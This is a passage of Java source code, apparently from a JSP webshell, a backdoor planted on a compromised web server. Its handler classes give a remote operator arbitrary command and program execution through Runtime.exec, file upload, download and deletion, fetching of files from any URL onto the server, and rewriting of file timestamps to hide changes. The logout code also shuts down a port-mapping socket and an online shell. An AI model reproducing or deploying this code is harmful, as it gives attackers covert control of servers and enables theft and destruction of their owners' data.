1865						"File Does Not Exist Or You Dont Have Privilege."
1866								+ BACK_HREF);
1867				throw e;
1868			}
1869		}
1870	}
1871
1872	private static class LogoutInvoker extends DefaultInvoker {
1873		public boolean doBefore() {
1874			return false;
1875		}
1876
1877		public boolean doAfter() {
1878			return false;
1879		}
1880
1881		public void invoke(HttpServletRequest request,
1882				HttpServletResponse response, HttpSession JSession)
1883				throws Exception {
1884			try {
1885				Object dbo = JSession.getAttribute(DBO);
1886				if (dbo != null)
1887					((DBOperator) dbo).close();
1888				Object obj = JSession.getAttribute(PORT_MAP);
1889				if (obj != null) {
1890					ServerSocket s = (ServerSocket) obj;
1891					s.close();
1892				}
1893				Object online = JSession.getAttribute(SHELL_ONLINE);
1894				if (online != null)
1895					((OnLineProcess) online).stop();
1896				JSession.invalidate();
1897				((Invoker) ins.get("vLogin")).invoke(request, response,
1898						JSession);
1899			} catch (ClassCastException e) {
1900				JSession.invalidate();
1901				((Invoker) ins.get("vLogin")).invoke(request, response,
1902						JSession);
1903			} catch (Exception e) {
1904
1905				throw e;
1906			}
1907		}
1908	}
1909
1910	private static class UploadInvoker extends DefaultInvoker {
1911		public boolean doBefore() {
1912			return false;
1913		}
1914
1915		public boolean doAfter() {
1916			return false;
1917		}
1918
1919		public void invoke(HttpServletRequest request,
1920				HttpServletResponse response, HttpSession JSession)
1921				throws Exception {
1922			try {
1923				UploadBean fileBean = new UploadBean();
1924				response.getWriter().println(
1925						JSession.getAttribute(CURRENT_DIR).toString());
1926				fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR)
1927						.toString());
1928				fileBean.parseRequest(request);
1929				File f = new File(JSession.getAttribute(CURRENT_DIR) + "/"
1930						+ fileBean.getFileName());
1931				if (f.exists() && f.length() > 0)
1932					JSession
1933							.setAttribute(MSG,
1934									"<span style='color:green'>Upload File Success!</span>");
1935				else
1936					JSession
1937							.setAttribute("MSG",
1938									"<span style='color:red'>Upload File Failed!</span>");
1939				response.sendRedirect(SHELL_NAME);
1940			} catch (Exception e) {
1941				throw e;
1942			}
1943		}
1944	}
1945
1946	private static class CopyInvoker extends DefaultInvoker {
1947		public void invoke(HttpServletRequest request,
1948				HttpServletResponse response, HttpSession JSession)
1949				throws Exception {
1950			try {
1951				String src = request.getParameter("src");
1952				String to = request.getParameter("to");
1953				InputStream in = null;
1954				Object enter = JSession.getAttribute(ENTER);
1955				if (enter == null)
1956					in = new FileInputStream(new File(src));
1957				else {
1958					ZipFile zf = new ZipFile((String) enter);
1959					ZipEntry entry = zf.getEntry(src);
1960					in = zf.getInputStream(entry);
1961				}
1962				BufferedInputStream input = new BufferedInputStream(in);
1963				BufferedOutputStream output = new BufferedOutputStream(
1964						new FileOutputStream(new File(to)));
1965				byte[] d = new byte[1024];
1966				int len = input.read(d);
1967				while (len != -1) {
1968					output.write(d, 0, len);
1969					len = input.read(d);
1970				}
1971				output.close();
1972				input.close();
1973				JSession.setAttribute(MSG, "Copy File Success!");
1974				response.sendRedirect(SHELL_NAME);
1975			} catch (Exception e) {
1976
1977				throw e;
1978			}
1979		}
1980	}
1981
1982	private static class BottomInvoker extends DefaultInvoker {
1983		public boolean doBefore() {
1984			return false;
1985		}
1986
1987		public boolean doAfter() {
1988			return false;
1989		}
1990
1991		public void invoke(HttpServletRequest request,
1992				HttpServletResponse response, HttpSession JSession)
1993				throws Exception {
1994			try {
1995				response
1996						.getWriter()
1997						.println(
1998								"<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Don't break my heart~"
1999										+ "</div>");
2000			} catch (Exception e) {
2001
2002				throw e;
2003			}
2004		}
2005	}
2006
2007	private static class VCreateFileInvoker extends DefaultInvoker {
2008		public void invoke(HttpServletRequest request,
2009				HttpServletResponse response, HttpSession JSession)
2010				throws Exception {
2011			try {
2012				PrintWriter out = response.getWriter();
2013				String path = request.getParameter("filepath");
2014				File f = new File(path);
2015				if (!f.isAbsolute()) {
2016					String oldPath = path;
2017					path = JSession.getAttribute(CURRENT_DIR).toString();
2018					if (!path.endsWith("/"))
2019						path += "/";
2020					path += oldPath;
2021					f = new File(path);
2022					f.createNewFile();
2023				} else {
2024					f.createNewFile();
2025				}
2026				out
2027						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
2028								+ "<form name=\"form1\" id=\"form1\" action=\""
2029								+ SHELL_NAME
2030								+ "\" method=\"post\" >"
2031								+ "<h2>Create / Edit File &raquo;</h2>"
2032								+ "<input type='hidden' name='o' value='createFile'>"
2033								+ "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""
2034								+ path
2035								+ "\" type=\"text\" size=\"100\"  />"
2036								+ " <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"
2037								+ "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"
2038								+ "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"
2039								+ "</form>" + "</td></tr></table>");
2040			} catch (Exception e) {
2041
2042				throw e;
2043			}
2044		}
2045	}
2046
2047	private static class VEditInvoker extends DefaultInvoker {
2048		public void invoke(HttpServletRequest request,
2049				HttpServletResponse response, HttpSession JSession)
2050				throws Exception {
2051			try {
2052				PrintWriter out = response.getWriter();
2053				String path = request.getParameter("filepath");
2054				String charset = request.getParameter("charset");
2055				Object enter = JSession.getAttribute(ENTER);
2056				InputStream input = null;
2057				if (enter != null) {
2058					ZipFile zf = new ZipFile((String) enter);
2059					ZipEntry entry = new ZipEntry(path);
2060					input = zf.getInputStream(entry);
2061				} else {
2062					File f = new File(path);
2063					if (!f.exists())
2064						return;
2065					input = new FileInputStream(path);
2066				}
2067
2068				BufferedReader reader = null;
2069				if (Util.isEmpty(charset) || charset.equals("ANSI"))
2070					reader = new BufferedReader(new InputStreamReader(input));
2071				else
2072					reader = new BufferedReader(new InputStreamReader(input,
2073							charset));
2074				StringBuffer content = new StringBuffer();
2075				String s = reader.readLine();
2076				while (s != null) {
2077					content.append(s + "\r\n");
2078					s = reader.readLine();
2079				}
2080				reader.close();
2081				out
2082						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
2083								+ "<form name=\"form1\" id=\"form1\" action=\""
2084								+ SHELL_NAME
2085								+ "\" method=\"post\" >"
2086								+ "<h2>Create / Edit File &raquo;</h2>"
2087								+ "<input type='hidden' name='o' value='createFile'>"
2088								+ "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""
2089								+ path
2090								+ "\" type=\"text\" size=\"100\"  />"
2091								+ " <select name='charset' id='fcharset' onchange=\"new fso({path:'"
2092								+ path
2093								+ "',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "
2094								+ ((!Util.isEmpty(charset) && charset
2095										.equals("UTF-8")) ? "selected" : "")
2096								+ " value='UTF-8'>UTF-8</option></select></p>"
2097								+ "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"
2098								+ Util.htmlEncode(content.toString())
2099								+ "</textarea></p>" + "<p>");
2100				if (enter != null)
2101					out
2102							.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
2103				else
2104					out
2105							.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
2106				out
2107						.println("<input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"
2108								+ "</form>" + "</td></tr></table>");
2109
2110			} catch (Exception e) {
2111
2112				throw e;
2113			}
2114		}
2115	}
2116
2117	private static class CreateFileInvoker extends DefaultInvoker {
2118		public boolean doBefore() {
2119			return false;
2120		}
2121
2122		public boolean doAfter() {
2123			return false;
2124		}
2125
2126		public void invoke(HttpServletRequest request,
2127				HttpServletResponse response, HttpSession JSession)
2128				throws Exception {
2129			try {
2130				PrintWriter out = response.getWriter();
2131				String path = request.getParameter("filepath");
2132				String content = request.getParameter("filecontent");
2133				String charset = request.getParameter("charset");
2134				BufferedWriter outs = null;
2135				if (charset.equals("ANSI"))
2136					outs = new BufferedWriter(new FileWriter(new File(path)));
2137				else
2138					outs = new BufferedWriter(new OutputStreamWriter(
2139							new FileOutputStream(new File(path)), charset));
2140				outs.write(content, 0, content.length());
2141				outs.close();
2142				JSession
2143						.setAttribute(
2144								MSG,
2145								"Save File <span style='color:green'>"
2146										+ (new File(path)).getName()
2147										+ "</span> With <span style='font-weight:bold;color:red'>"
2148										+ charset + "</span> Success!");
2149				response.sendRedirect(SHELL_NAME);
2150			} catch (Exception e) {
2151
2152				throw e;
2153			}
2154		}
2155	}
2156
2157	private static class VEditPropertyInvoker extends DefaultInvoker {
2158		public void invoke(HttpServletRequest request,
2159				HttpServletResponse response, HttpSession JSession)
2160				throws Exception {
2161			try {
2162				PrintWriter out = response.getWriter();
2163				String filepath = request.getParameter("filepath");
2164				File f = new File(filepath);
2165				if (!f.exists())
2166					return;
2167				String read = f.canRead() ? "checked=\"checked\"" : "";
2168				String write = f.canWrite() ? "checked=\"checked\"" : "";
2169				Calendar cal = Calendar.getInstance();
2170				cal.setTimeInMillis(f.lastModified());
2171
2172				out
2173						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
2174								+ "<form name=\"form1\" id=\"form1\" action=\""
2175								+ SHELL_NAME
2176								+ "\" method=\"post\" >"
2177								+ "<h2>Set File Property &raquo;</h2>"
2178								+ "<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""
2179								+ request.getParameter("filepath")
2180								+ "\" type=\"text\" size=\"120\"  /></p>"
2181								+ "<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "
2182								+ "<p>"
2183								+ "  <input type=\"checkbox\" disabled "
2184								+ read
2185								+ " name=\"read\" id=\"checkbox\">Read "
2186								+ "  <input type=\"checkbox\" disabled "
2187								+ write
2188								+ " name=\"write\" id=\"checkbox2\">Write "
2189								+ "</p>"
2190								+ "<p>Instead &raquo;"
2191								+ "year:"
2192								+ "<input class=\"input\" name=\"year\" value="
2193								+ cal.get(Calendar.YEAR)
2194								+ " id=\"year\" type=\"text\" size=\"4\"  />"
2195								+ "month:"
2196								+ "<input class=\"input\" name=\"month\" value="
2197								+ (cal.get(Calendar.MONTH) + 1)
2198								+ " id=\"month\" type=\"text\" size=\"2\"  />"
2199								+ "day:"
2200								+ "<input class=\"input\" name=\"date\" value="
2201								+ cal.get(Calendar.DATE)
2202								+ " id=\"date\" type=\"text\" size=\"2\"  />"
2203								+ ""
2204								+ "hour:"
2205								+ "<input class=\"input\" name=\"hour\" value="
2206								+ cal.get(Calendar.HOUR)
2207								+ " id=\"hour\" type=\"text\" size=\"2\"  />"
2208								+ "minute:"
2209								+ "<input class=\"input\" name=\"minute\" value="
2210								+ cal.get(Calendar.MINUTE)
2211								+ " id=\"minute\" type=\"text\" size=\"2\"  />"
2212								+ "second:"
2213								+ "<input class=\"input\" name=\"second\" value="
2214								+ cal.get(Calendar.SECOND)
2215								+ " id=\"second\" type=\"text\" size=\"2\"  />"
2216								+ "</p>"
2217								+ "<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"
2218								+ "</form>" + "</td></tr></table>");
2219			} catch (Exception e) {
2220				throw e;
2221			}
2222		}
2223	}
2224
2225	private static class EditPropertyInvoker extends DefaultInvoker {
2226		public boolean doBefore() {
2227			return false;
2228		}
2229
2230		public boolean doAfter() {
2231			return false;
2232		}
2233
2234		public void invoke(HttpServletRequest request,
2235				HttpServletResponse response, HttpSession JSession)
2236				throws Exception {
2237			try {
2238				String f = request.getParameter("file");
2239				File file = new File(f);
2240				if (!file.exists())
2241					return;
2242
2243				String year = request.getParameter("year");
2244				String month = request.getParameter("month");
2245				String date = request.getParameter("date");
2246				String hour = request.getParameter("hour");
2247				String minute = request.getParameter("minute");
2248				String second = request.getParameter("second");
2249
2250				Calendar cal = Calendar.getInstance();
2251				cal.set(Calendar.YEAR, Integer.parseInt(year));
2252				cal.set(Calendar.MONTH, Integer.parseInt(month) - 1);
2253				cal.set(Calendar.DATE, Integer.parseInt(date));
2254				cal.set(Calendar.HOUR, Integer.parseInt(hour));
2255				cal.set(Calendar.MINUTE, Integer.parseInt(minute));
2256				cal.set(Calendar.SECOND, Integer.parseInt(second));
2257				if (file.setLastModified(cal.getTimeInMillis())) {
2258					JSession.setAttribute(MSG, "Reset File Property Success!");
2259				} else {
2260					JSession
2261							.setAttribute(MSG,
2262									"<span style='color:red'>Reset File Property Failed!</span>");
2263				}
2264				response.sendRedirect(SHELL_NAME);
2265			} catch (Exception e) {
2266
2267				throw e;
2268			}
2269		}
2270	}
2271
2272	//VShell
2273	private static class VsInvoker extends DefaultInvoker {
2274		public void invoke(HttpServletRequest request,
2275				HttpServletResponse response, HttpSession JSession)
2276				throws Exception {
2277			try {
2278				PrintWriter out = response.getWriter();
2279				String cmd = request.getParameter("command");
2280				String program = request.getParameter("program");
2281				if (cmd == null) {
2282					if (ISLINUX)
2283						cmd = "id";
2284					else
2285						cmd = "cmd.exe /c set";
2286				}
2287				if (program == null)
2288					program = "cmd.exe /c net start > " + SHELL_DIR
2289							+ "/Log.txt";
2290				if (JSession.getAttribute(MSG) != null) {
2291					Util.outMsg(out, JSession.getAttribute(MSG).toString());
2292					JSession.removeAttribute(MSG);
2293				}
2294				out
2295						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
2296								+ "<form name=\"form1\" id=\"form1\" action=\""
2297								+ SHELL_NAME
2298								+ "\" method=\"post\" >"
2299								+ "<h2>Execute Program &raquo;</h2>"
2300								+ "<p>"
2301								+ "<input type=\"hidden\" name=\"o\" value=\"shell\">"
2302								+ "<input type=\"hidden\" name=\"type\" value=\"program\">"
2303								+ "Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""
2304								+ program
2305								+ "\" type=\"text\" size=\"100\"  />"
2306								+ "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"
2307								+ "</p>"
2308								+ "</form>"
2309								+ "<form name=\"form1\" id=\"form1\" action=\""
2310								+ SHELL_NAME
2311								+ "\" method=\"post\" >"
2312								+ "<h2>Execute Shell &raquo;</h2>"
2313								+ "<p>"
2314								+ "<input type=\"hidden\" name=\"o\" value=\"shell\">"
2315								+ "<input type=\"hidden\" name=\"type\" value=\"command\">"
2316								+ "Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""
2317								+ cmd
2318								+ "\" type=\"text\" size=\"100\"  />"
2319								+ "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"
2320								+ "</p>"
2321								+ "</form>"
2322								+ "</td>"
2323								+ "</tr></table>");
2324			} catch (Exception e) {
2325
2326				throw e;
2327			}
2328		}
2329	}
2330
2331	private static class ShellInvoker extends DefaultInvoker {
2332		public void invoke(HttpServletRequest request,
2333				HttpServletResponse response, HttpSession JSession)
2334				throws Exception {
2335			try {
2336				PrintWriter out = response.getWriter();
2337				String type = request.getParameter("type");
2338				if (type.equals("command")) {
2339					((Invoker) ins.get("vs")).invoke(request, response,
2340							JSession);
2341					out.println("<div style='margin:10px'><hr/>");
2342					out.println("<pre>");
2343					String command = request.getParameter("command");
2344					if (!Util.isEmpty(command)) {
2345						Process pro = Runtime.getRuntime().exec(command);
2346						BufferedReader reader = new BufferedReader(
2347								new InputStreamReader(pro.getInputStream()));
2348						String s = reader.readLine();
2349						while (s != null) {
2350							out.println(Util.htmlEncode(Util.getStr(s)));
2351							s = reader.readLine();
2352						}
2353						reader.close();
2354						reader = new BufferedReader(new InputStreamReader(pro
2355								.getErrorStream()));
2356						s = reader.readLine();
2357						while (s != null) {
2358							out.println(Util.htmlEncode(Util.getStr(s)));
2359							s = reader.readLine();
2360						}
2361						reader.close();
2362						out.println("</pre></div>");
2363					}
2364				} else {
2365					String program = request.getParameter("program");
2366					if (!Util.isEmpty(program)) {
2367						Process pro = Runtime.getRuntime().exec(program);
2368						JSession.setAttribute(MSG, "Program Has Run Success!");
2369						((Invoker) ins.get("vs")).invoke(request, response,
2370								JSession);
2371					}
2372				}
2373			} catch (Exception e) {
2374
2375				throw e;
2376			}
2377		}
2378	}
2379
2380	private static class DownInvoker extends DefaultInvoker {
2381		public boolean doBefore() {
2382			return false;
2383		}
2384
2385		public boolean doAfter() {
2386			return false;
2387		}
2388
2389		public void invoke(HttpServletRequest request,
2390				HttpServletResponse response, HttpSession JSession)
2391				throws Exception {
2392			try {
2393				String path = request.getParameter("path");
2394				if (Util.isEmpty(path))
2395					return;
2396				InputStream i = null;
2397				Object enter = JSession.getAttribute(ENTER);
2398				String fileName = null;
2399				if (enter == null) {
2400					File f = new File(path);
2401					if (!f.exists())
2402						return;
2403					fileName = f.getName();
2404					i = new FileInputStream(f);
2405				} else {
2406					ZipFile zf = new ZipFile((String) enter);
2407					ZipEntry entry = new ZipEntry(path);
2408					fileName = entry.getName().substring(
2409							entry.getName().lastIndexOf("/") + 1);
2410					i = zf.getInputStream(entry);
2411				}
2412				response.setHeader("Content-Disposition",
2413						"attachment;filename="
2414								+ URLEncoder.encode(fileName, PAGE_CHARSET));
2415				BufferedInputStream input = new BufferedInputStream(i);
2416				BufferedOutputStream output = new BufferedOutputStream(response
2417						.getOutputStream());
2418				byte[] data = new byte[1024];
2419				int len = input.read(data);
2420				while (len != -1) {
2421					output.write(data, 0, len);
2422					len = input.read(data);
2423				}
2424				input.close();
2425				output.close();
2426			} catch (Exception e) {
2427
2428				throw e;
2429			}
2430		}
2431	}
2432
2433	//VDown
2434	private static class VdInvoker extends DefaultInvoker {
2435		public void invoke(HttpServletRequest request,
2436				HttpServletResponse response, HttpSession JSession)
2437				throws Exception {
2438			try {
2439				PrintWriter out = response.getWriter();
2440				String savepath = request.getParameter("savepath");
2441				String url = request.getParameter("url");
2442				if (Util.isEmpty(url))
2443					url = "http://www.baidu.com/";
2444				if (Util.isEmpty(savepath)) {
2445					savepath = JSession.getAttribute(CURRENT_DIR).toString();
2446				}
2447				if (!Util.isEmpty(JSession.getAttribute("done"))) {
2448					Util.outMsg(out, "Download Remote File Success!");
2449					JSession.removeAttribute("done");
2450				}
2451				out
2452						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
2453								+ "<form name=\"form1\" id=\"form1\" action=\""
2454								+ SHELL_NAME
2455								+ "\" method=\"post\" >"
2456								+ "<h2>Remote File DownLoad &raquo;</h2>"
2457								+ "<p>"
2458								+ "<input type=\"hidden\" name=\"o\" value=\"downRemote\">"
2459								+ "<p>File&nbsp;&nbsp;&nbsp;URL: "
2460								+ "  <input class=\"input\" name=\"url\" value=\""
2461								+ url
2462								+ "\" id=\"url\" type=\"text\" size=\"200\"  /></p>"
2463								+ "<p>Save Path: "
2464								+ "<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""
2465								+ savepath
2466								+ "\" type=\"text\" size=\"200\"  /></p>"
2467								+ "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\"  />"
2468								+ "</p>" + "</form></table>");
2469			} catch (Exception e) {
2470
2471				throw e;
2472			}
2473		}
2474	}
2475
2476	private static class DownRemoteInvoker extends DefaultInvoker {
2477		public boolean doBefore() {
2478			return true;
2479		}
2480
2481		public boolean doAfter() {
2482			return true;
2483		}
2484
2485		public void invoke(HttpServletRequest request,
2486				HttpServletResponse response, HttpSession JSession)
2487				throws Exception {
2488			try {
2489				String downFileUrl = request.getParameter("url");
2490				String savePath = request.getParameter("savepath");
2491				if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
2492					return;
2493				URL downUrl = new URL(downFileUrl);
2494				URLConnection conn = downUrl.openConnection();
2495
2496				File tempF = new File(savePath);
2497				File saveF = tempF;
2498				if (tempF.isDirectory()) {
2499					String fName = downFileUrl.substring(downFileUrl
2500							.lastIndexOf("/") + 1);
2501					saveF = new File(tempF, fName);
2502				}
2503				BufferedInputStream in = new BufferedInputStream(conn
2504						.getInputStream());
2505				BufferedOutputStream out = new BufferedOutputStream(
2506						new FileOutputStream(saveF));
2507				byte[] data = new byte[1024];
2508				int len = in.read(data);
2509				while (len != -1) {
2510					out.write(data, 0, len);
2511					len = in.read(data);
2512				}
2513				in.close();
2514				out.close();
2515				JSession.setAttribute("done", "d");
2516				((Invoker) ins.get("vd")).invoke(request, response, JSession);
2517			} catch (Exception e) {
2518
2519				throw e;
2520			}
2521		}
2522	}
2523
2524	private static class IndexInvoker extends DefaultInvoker {
2525		public void invoke(HttpServletRequest request,
2526				HttpServletResponse response, HttpSession JSession)
2527				throws Exception {
2528			try {
2529				((Invoker) ins.get("filelist")).invoke(request, response,
2530						JSession);
2531			} catch (Exception e) {
2532
2533				throw e;
2534			}
2535		}
2536	}
2537
2538	private static class MkDirInvoker extends DefaultInvoker {
2539		public boolean doBefore() {
2540			return false;
2541		}
2542
2543		public boolean doAfter() {
2544			return false;
2545		}
2546
2547		public void invoke(HttpServletRequest request,
2548				HttpServletResponse response, HttpSession JSession)
2549				throws Exception {
2550			try {
2551				String name = request.getParameter("name");
2552				File f = new File(name);
2553				if (!f.isAbsolute()) {
2554					String path = JSession.getAttribute(CURRENT_DIR).toString();
2555					if (!path.endsWith("/"))
2556						path += "/";
2557					path += name;
2558					f = new File(path);
2559				}
2560				f.mkdirs();
2561				JSession.setAttribute(MSG, "Make Directory Success!");
2562				response.sendRedirect(SHELL_NAME);
2563			} catch (Exception e) {
2564
2565				throw e;
2566			}
2567		}
2568	}
2569
2570	private static class MoveInvoker extends DefaultInvoker {
2571		public boolean doBefore() {
2572			return false;
2573		}
2574
2575		public boolean doAfter() {
2576			return false;
2577		}
2578
2579		public void invoke(HttpServletRequest request,
2580				HttpServletResponse response, HttpSession JSession)
2581				throws Exception {
2582			try {
2583				PrintWriter out = response.getWriter();
2584				String src = request.getParameter("src");
2585				String target = request.getParameter("to");
2586				if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
2587					File file = new File(src);
2588					if (file.renameTo(new File(target))) {
2589						JSession.setAttribute(MSG, "Move File Success!");
2590					} else {
2591						String msg = "Move File Failed!";
2592						if (file.isDirectory()) {
2593							msg += "The Move Will Failed When The Directory Is Not Empty.";
2594						}
2595						JSession.setAttribute(MSG, msg);
2596					}
2597					response.sendRedirect(SHELL_NAME);
2598				}
2599			} catch (Exception e) {
2600
2601				throw e;
2602			}
2603		}
2604	}
2605
2606	private static class RemoveDirInvoker extends DefaultInvoker {
2607		public boolean doBefore() {
2608			return false;
2609		}
2610
2611		public boolean doAfter() {
2612			return false;
2613		}
2614
2615		public void invoke(HttpServletRequest request,
2616				HttpServletResponse response, HttpSession JSession)
2617				throws Exception {
2618			try {
2619				String dir = request.getParameter("dir");
2620				File file = new File(dir);
2621				if (file.exists()) {
2622					deleteFile(file);
2623					deleteDir(file);
2624				}
2625
2626				JSession.setAttribute(MSG, "Remove Directory Success!");
2627				response.sendRedirect(SHELL_NAME);
2628			} catch (Exception e) {
2629
2630				throw e;
2631			}
2632		}
2633
2634		public void deleteFile(File f) {
2635			if (f.isFile()) {
2636				f.delete();
2637			} else {
2638				File[] list = f.listFiles();
2639				for (int i = 0; i < list.length; i++) {
2640					File ff = list[i];
2641					deleteFile(ff);
2642				}
2643			}
2644		}
2645
2646		public void deleteDir(File f) {
2647			File[] list = f.listFiles();
2648			if (list.length == 0) {
2649				f.delete();
2650			} else {
2651				for (int i = 0; i < list.length; i++) {
2652					File ff = list[i];
2653					deleteDir(ff);
2654				}
2655				deleteDir(f);
2656			}
2657		}
2658	}
2659
2660	private static class PackBatchInvoker extends DefaultInvoker {
2661		public boolean doBefore() {
2662			return false;
2663		}
2664
2665		public boolean doAfter() {
2666			return false;
2667		}
2668
2669		public void invoke(HttpServletRequest request,
2670				HttpServletResponse response, HttpSession JSession)
2671				throws Exception {
2672			try {
2673				String files = request.getParameter("files");
2674				if (Util.isEmpty(files))
2675					return;
2676				String saveFileName = request.getParameter("savefilename");
2677				File saveF = new File(JSession.getAttribute(CURRENT_DIR)
2678						.toString(), saveFileName);
2679				if (saveF.exists()) {
2680					JSession.setAttribute(MSG, "The File \"" + saveFileName
2681							+ "\" Has Been Exists!");
2682					response.sendRedirect(SHELL_NAME);
2683					return;
2684				}
2685				ZipOutputStream zout = new ZipOutputStream(
2686						new BufferedOutputStream(new FileOutputStream(saveF)));
2687				String[] arr = files.split(",");
2688				for (int i = 0; i < arr.length; i++) {
2689					String f = arr[i];
2690					File pF = new File(JSession.getAttribute(CURRENT_DIR)
2691							.toString(), f);
2692					ZipEntry entry = new ZipEntry(pF.getName());
2693					zout.putNextEntry(entry);
2694					FileInputStream fInput = new FileInputStream(pF);
2695					int len = 0;
2696					byte[] buf = new byte[1024];
2697					while ((len = fInput.read(buf)) != -1) {
2698						zout.write(buf, 0, len);
2699						zout.flush();
2700					}
2701					fInput.close();
2702				}
2703				zout.close();
2704				JSession.setAttribute(MSG, "Pack Files Success!");
2705				response.sendRedirect(SHELL_NAME);
2706			} catch (Exception e) {
2707
2708				throw e;
2709			}
2710		}
2711	}
2712
2713	private static class VPackConfigInvoker extends DefaultInvoker {
2714		public void invoke(HttpServletRequest request,
2715				HttpServletResponse response, HttpSession JSession)
2716				throws Exception {
2717			try {
2718				PrintWriter out = response.getWriter();
2719				String packfile = request.getParameter("packedfile");
2720				String currentd = JSession.getAttribute(CURRENT_DIR).toString();
2721				out
2722						.println("<form action='"
2723								+ SHELL_NAME
2724								+ "' method='post'>"
2725								+ "<input type='hidden' name='o' value='pack'/>"
2726								+ "<input type='hidden' name='config' value='true'/>"
2727								+ "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
2728								+ "    <tr>"
2729								+ "      <td><h2 id=\"Bin_H2_Title\">Pack Configuration &gt;&gt;<hr/></h2>"
2730								+ "        <div id=\"hOWTm\">"
2731								+ "          <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
2732								+ "            <tr align=\"center\">"
2733								+ "              <td style=\"width:5%\"></td>"
2734								+ "              <td  align=\"center\"><table border=\"0\">"
2735								+ "                <tr>"
2736								+ "                  <td>Packed Dir</td>"
2737								+ "                  <td><input type=\"text\" name=\"packedfile\" size='100' value=\""
2738								+ packfile
2739								+ "\" class=\"input\"/></td>"
2740								+ "                </tr>"
2741								+ "                <tr>"
2742								+ "                  <td>Save To</td>"
2743								+ "                  <td><input type=\"text\" name=\"savefilename\" size='100' value=\""
2744								+ ((currentd.endsWith("/") ? currentd
2745										: currentd + "/") + "pack.zip")
2746								+ "\" class=\"input\"/></td>"
2747								+ "                </tr>"
2748								+ "                <tr>"
2749								+ "                  <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"
2750								+ "					<input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"
2751								+ "					<hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"
2752								+ "					</fieldset></td>"
2753								+ "                  </tr>"
2754								+ "                <tr>"
2755								+ "                  <td>Filesize Filter</td>"
2756								+ "                  <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "
2757								+ "					<input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"
2758								+ "                </tr>"
2759								+ "                <tr>"
2760								+ "                  <td>Exclude Dir</td>"
2761								+ "                  <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"
2762								+ "                </tr>"
2763								+ "              </table></td>"
2764								+ "            </tr>"
2765								+ "            <tr align=\"center\">"
2766								+ "              <td colspan=\"2\">"
2767								+ "                <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"
2768								+ "              </td>" + "            </tr>"
2769								+ "          </table>" + "        </div></td>"
2770								+ "    </tr>" + "  </table></form>");
2771			} catch (Exception e) {
2772
2773				throw e;
2774			}
2775		}
2776	}
2777
2778	private static class PackInvoker extends DefaultInvoker {
2779		public boolean doBefore() {
2780			return false;
2781		}
2782
2783		public boolean doAfter() {
2784			return false;
2785		}
2786
2787		private boolean config = false;
2788		private String extFilter = "blacklist";
2789		private String[] fileExts = null;
2790		private String sizeFilter = "no";
2791		private int filesize = 0;
2792		private String[] exclude = null;
2793		private String packFile = null;
2794
2795		private void reset() {
2796			this.config = false;
2797			this.extFilter = "blacklist";
2798			this.fileExts = null;
2799			this.sizeFilter = "no";
2800			this.filesize = 0;
2801			this.exclude = null;
2802			this.packFile = null;
2803		}
2804
2805		public void invoke(HttpServletRequest request,
2806				HttpServletResponse response, HttpSession JSession)
2807				throws Exception {
2808			try {
2809				String config = request.getParameter("config");
2810				if (!Util.isEmpty(config) && config.equals("true")) {
2811					this.config = true;
2812					this.extFilter = request.getParameter("extfilter");
2813					this.fileExts = request.getParameter("fileext").split(",");
2814					this.sizeFilter = request.getParameter("sizefilter");
